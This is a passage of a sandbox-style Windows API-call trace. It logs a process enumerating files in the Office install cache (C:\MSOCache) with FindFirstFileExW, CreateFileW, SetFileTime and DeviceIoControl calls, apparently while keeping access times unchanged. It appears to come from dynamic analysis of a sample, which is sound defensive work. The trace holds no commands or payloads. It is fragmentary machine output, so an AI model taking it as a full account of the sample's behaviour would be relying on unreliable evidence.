users\\{90140000-001b-0409-1000-0000000ff1ce}-c"), fInfoLevelId=0x0, lpFileInformation=0x17af0f4 | out: lpFileInformation=0x17af0f4*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xfc8a9170, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfe076d70, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfe076d70, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0041.787] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C" (normalized: "c:\\msocache\\all users\\{90140000-001b-0409-1000-0000000ff1ce}-c"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x16c [0041.931] SetFileTime (hFile=0x16c, lpCreationTime=0x0, lpLastAccessTime=0x17af138, lpLastWriteTime=0x17af138) returned 0 [0041.932] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x4000) returned 0xed9690 [0041.934] DeviceIoControl (in: hDevice=0x16c, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0xed9690, nOutBufferSize=0x4000, lpBytesReturned=0x17af190, lpOverlapped=0x0 | out: lpOutBuffer=0xed9690, lpBytesReturned=0x17af190, lpOverlapped=0x0) returned 0 [0041.935] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed9690) returned 1 [0041.935] NtClose (Handle=0x16c) returned 0x0 [0041.937] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30f258) returned 1 [0041.938] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30f258 [0041.938] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed3e40 [0041.939] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x100) returned 0xed4a78 [0041.939] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30f258) returned 1 [0041.940] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x100) returned 0xed4c88 [0041.940] FindFirstFileExW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\*", fInfoLevelId=0x1, lpFindFileData=0x17aef40, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x17aef40) returned 0x459b78 [0041.943] FindNextFileW (in: hFindFile=0x459b78, lpFindFileData=0x17aef40 | out: lpFindFileData=0x17aef40*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xfc8a9170, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfe076d70, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfe076d70, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0041.944] FindNextFileW (in: hFindFile=0x459b78, lpFindFileData=0x17aef40 | out: lpFindFileData=0x17aef40*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x43f88c00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x43f88c00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xfe076d70, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x978, dwReserved0=0x0, dwReserved1=0x0, cFileName="Setup.xml", cAlternateFileName="")) returned 1 [0041.945] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30f258 [0041.945] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30f258) returned 1 [0041.946] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30f258 [0041.946] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30f258) returned 1 [0041.946] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30f258 [0041.947] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x100) returned 0xed4b80 [0041.948] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed3e40) returned 1 [0041.949] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x18) returned 0xed66c0 [0041.949] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x100) returned 0xed51b0 [0041.950] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30f258) returned 1 [0041.950] FindNextFileW (in: hFindFile=0x459b78, lpFindFileData=0x17aef40 | out: lpFindFileData=0x17aef40*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x2fb48f00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x2fb48f00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xfc967850, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x29c6dbd, dwReserved0=0x0, dwReserved1=0x0, cFileName="WordLR.cab", cAlternateFileName="")) returned 1 [0041.951] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30f258 [0041.951] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30f258) returned 1 [0041.952] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30f258 [0041.953] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30f258) returned 1 [0041.953] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30f258 [0041.954] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x18) returned 0xed66e0 [0041.954] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x100) returned 0xed52b8 [0041.955] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30f258) returned 1 [0041.956] FindNextFileW (in: hFindFile=0x459b78, lpFindFileData=0x17aef40 | out: lpFindFileData=0x17aef40*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3e02ab00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x3e02ab00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xfc8a9170, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x267e00, dwReserved0=0x0, dwReserved1=0x0, cFileName="WordMUI.msi", cAlternateFileName="")) returned 1 [0041.956] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30f258 [0041.957] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30f258) returned 1 [0041.957] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30f258 [0041.958] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30f258) returned 1 [0041.958] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30f258 [0041.958] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x18) returned 0xed6700 [0041.959] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x100) returned 0xed53c0 [0041.961] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30f258) returned 1 [0041.961] FindNextFileW (in: hFindFile=0x459b78, lpFindFileData=0x17aef40 | out: lpFindFileData=0x17aef40*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x43f88c00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x43f88c00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xfc8a9170, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x708, dwReserved0=0x0, dwReserved1=0x0, cFileName="WordMUI.xml", cAlternateFileName="")) returned 1 [0041.962] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30f258 [0041.963] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30f258) returned 1 [0041.963] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30f258 [0041.964] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30f258) returned 1 [0041.965] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30f258 [0041.966] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x18) returned 0xed6720 [0041.966] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x100) returned 0xed54c8 [0041.967] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30f258) returned 1 [0041.967] FindNextFileW (in: hFindFile=0x459b78, lpFindFileData=0x17aef40 | out: lpFindFileData=0x17aef40*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x43f88c00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x43f88c00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xfc8a9170, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x708, dwReserved0=0x0, dwReserved1=0x0, cFileName="WordMUI.xml", cAlternateFileName="")) returned 0 [0041.969] GetLastError () returned 0x12 [0041.969] FindFirstFileExW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\*", fInfoLevelId=0x1, lpFindFileData=0x17aef40, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x17aef40) returned 0x459c38 [0041.971] FindClose (in: hFindFile=0x459b78 | out: hFindFile=0x459b78) returned 1 [0041.973] FindNextFileW (in: hFindFile=0x459c38, lpFindFileData=0x17aef40 | out: lpFindFileData=0x17aef40*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xfc8a9170, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfe076d70, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfe076d70, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0041.974] FindNextFileW (in: hFindFile=0x459c38, lpFindFileData=0x17aef40 | out: lpFindFileData=0x17aef40*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x43f88c00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x43f88c00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xfe076d70, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x978, dwReserved0=0x0, dwReserved1=0x0, cFileName="Setup.xml", cAlternateFileName="")) returned 1 [0041.975] FindNextFileW (in: hFindFile=0x459c38, lpFindFileData=0x17aef40 | out: lpFindFileData=0x17aef40*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x2fb48f00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x2fb48f00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xfc967850, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x29c6dbd, dwReserved0=0x0, dwReserved1=0x0, cFileName="WordLR.cab", cAlternateFileName="")) returned 1 [0041.975] FindNextFileW (in: hFindFile=0x459c38, lpFindFileData=0x17aef40 | out: lpFindFileData=0x17aef40*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3e02ab00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x3e02ab00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xfc8a9170, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x267e00, dwReserved0=0x0, dwReserved1=0x0, cFileName="WordMUI.msi", cAlternateFileName="")) returned 1 [0041.977] FindNextFileW (in: hFindFile=0x459c38, lpFindFileData=0x17aef40 | out: lpFindFileData=0x17aef40*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x43f88c00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x43f88c00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xfc8a9170, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x708, dwReserved0=0x0, dwReserved1=0x0, cFileName="WordMUI.xml", cAlternateFileName="")) returned 1 [0041.978] FindNextFileW (in: hFindFile=0x459c38, lpFindFileData=0x17aef40 | out: lpFindFileData=0x17aef40*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x43f88c00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x43f88c00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xfc8a9170, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x708, dwReserved0=0x0, dwReserved1=0x0, cFileName="WordMUI.xml", cAlternateFileName="")) returned 0 [0041.979] GetLastError () returned 0x12 [0041.979] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed4c88) returned 1 [0041.980] FindClose (in: hFindFile=0x459c38 | out: hFindFile=0x459c38) returned 1 [0041.982] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed4b80) returned 1 [0041.983] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed4a78) returned 1 [0041.983] FindNextFileW (in: hFindFile=0x459bb8, lpFindFileData=0x17af1f8 | out: lpFindFileData=0x17af1f8*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xf00dbad0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xf58c8770, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xf58c8770, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{90140000-002C-0409-1000-0000000FF1CE}-C", cAlternateFileName="")) returned 1 [0041.983] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30f258 [0041.985] GetFileAttributesExW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c"), fInfoLevelId=0x0, lpFileInformation=0x17af0f4 | out: lpFileInformation=0x17af0f4*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xf00dbad0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xf58c8770, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xf58c8770, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0041.991] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x170 [0041.993] SetFileTime (hFile=0x170, lpCreationTime=0x0, lpLastAccessTime=0x17af138, lpLastWriteTime=0x17af138) returned 0 [0041.994] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x4000) returned 0xed9690 [0041.994] DeviceIoControl (in: hDevice=0x170, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0xed9690, nOutBufferSize=0x4000, lpBytesReturned=0x17af190, lpOverlapped=0x0 | out: lpOutBuffer=0xed9690, lpBytesReturned=0x17af190, lpOverlapped=0x0) returned 0 [0041.995] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed9690) returned 1 [0041.996] NtClose (Handle=0x170) returned 0x0 [0041.997] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30f258) returned 1 [0042.203] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30f258 [0042.204] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed3e40 [0042.205] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x100) returned 0xed4a78 [0042.247] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30f258) returned 1 [0042.415] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x100) returned 0xed4b80 [0042.498] FindFirstFileExW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\*", fInfoLevelId=0x1, lpFindFileData=0x17aef40, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x17aef40) returned 0x459c38 [0042.584] FindNextFileW (in: hFindFile=0x459c38, lpFindFileData=0x17aef40 | out: lpFindFileData=0x17aef40*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xf00dbad0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xf58c8770, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xf58c8770, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0042.584] FindNextFileW (in: hFindFile=0x459c38, lpFindFileData=0x17aef40 | out: lpFindFileData=0x17aef40*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xf01c0310, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xf07b3a10, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xf07b3a10, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Proof.en", cAlternateFileName="")) returned 1 [0042.584] FindNextFileW (in: hFindFile=0x459c38, lpFindFileData=0x17aef40 | out: lpFindFileData=0x17aef40*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xf4d53d90, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xf4f690d0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xf4f690d0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Proof.es", cAlternateFileName="")) returned 1 [0042.584] FindNextFileW (in: hFindFile=0x459c38, lpFindFileData=0x17aef40 | out: lpFindFileData=0x17aef40*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xf2bda830, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xf30772d0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xf30772d0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Proof.fr", cAlternateFileName="")) returned 1 [0042.584] FindNextFileW (in: hFindFile=0x459c38, lpFindFileData=0x17aef40 | out: lpFindFileData=0x17aef40*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x40650500, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x40650500, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xf0126df0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0xd4200, dwReserved0=0x0, dwReserved1=0x0, cFileName="Proofing.msi", cAlternateFileName="")) returned 1 [0042.584] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30f258 [0042.584] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30f258) returned 1 [0042.584] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30f258 [0042.584] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30f258) returned 1 [0042.584] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30f258 [0042.584] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x100) returned 0xed4c88 [0042.585] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed3e40) returned 1 [0042.585] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x18) returned 0xed6740 [0042.585] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x100) returned 0xed55d0 [0042.585] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30f258) returned 1 [0042.585] FindNextFileW (in: hFindFile=0x459c38, lpFindFileData=0x17aef40 | out: lpFindFileData=0x17aef40*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x4529b900, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x4529b900, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xf00db300, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x32b, dwReserved0=0x0, dwReserved1=0x0, cFileName="Proofing.xml", cAlternateFileName="")) returned 1 [0042.585] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30f258 [0042.585] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30f258) returned 1 [0042.585] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30f258 [0042.585] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30f258) returned 1 [0042.585] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30f258 [0042.585] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x18) returned 0xed6760 [0042.585] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x100) returned 0xed56d8 [0042.585] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30f258) returned 1 [0042.585] FindNextFileW (in: hFindFile=0x459c38, lpFindFileData=0x17aef40 | out: lpFindFileData=0x17aef40*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x42c75f00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x42c75f00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xf58c6830, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x16fc, dwReserved0=0x0, dwReserved1=0x0, cFileName="Setup.xml", cAlternateFileName="")) returned 1 [0042.585] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30f258 [0042.585] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30f258) returned 1 [0042.585] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30f258 [0042.585] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30f258) returned 1 [0042.585] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30f258 [0042.585] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x18) returned 0xed6780 [0042.585] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x100) returned 0xed96a8 [0042.585] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30f258) returned 1 [0042.585] FindNextFileW (in: hFindFile=0x459c38, lpFindFileData=0x17aef40 | out: lpFindFileData=0x17aef40*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x42c75f00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x42c75f00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xf58c6830, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x16fc, dwReserved0=0x0, dwReserved1=0x0, cFileName="Setup.xml", cAlternateFileName="")) returned 0 [0042.585] GetLastError () returned 0x12 [0042.585] FindFirstFileExW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\*", fInfoLevelId=0x1, lpFindFileData=0x17aef40, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x17aef40) returned 0x459b78 [0042.585] FindClose (in: hFindFile=0x459c38 | out: hFindFile=0x459c38) returned 1 [0042.586] FindNextFileW (in: hFindFile=0x459b78, lpFindFileData=0x17aef40 | out: lpFindFileData=0x17aef40*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xf00dbad0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xf58c8770, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xf58c8770, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0042.586] FindNextFileW (in: hFindFile=0x459b78, lpFindFileData=0x17aef40 | out: lpFindFileData=0x17aef40*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xf01c0310, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xf07b3a10, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xf07b3a10, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Proof.en", cAlternateFileName="")) returned 1 [0042.586] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x100) returned 0xed97b0 [0042.586] GetFileAttributesExW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.en"), fInfoLevelId=0x0, lpFileInformation=0x17aee3c | out: lpFileInformation=0x17aee3c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xf01c0310, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xf07b3a10, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xf07b3a10, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0042.586] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.en"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x170 [0042.586] SetFileTime (hFile=0x170, lpCreationTime=0x0, lpLastAccessTime=0x17aee80, lpLastWriteTime=0x17aee80) returned 0 [0042.586] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x4000) returned 0xedb690 [0042.587] DeviceIoControl (in: hDevice=0x170, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0xedb690, nOutBufferSize=0x4000, lpBytesReturned=0x17aeed8, lpOverlapped=0x0 | out: lpOutBuffer=0xedb690, lpBytesReturned=0x17aeed8, lpOverlapped=0x0) returned 0 [0042.587] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xedb690) returned 1 [0042.587] NtClose (Handle=0x170) returned 0x0 [0042.587] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed97b0) returned 1 [0042.587] RtlAllocateHeap 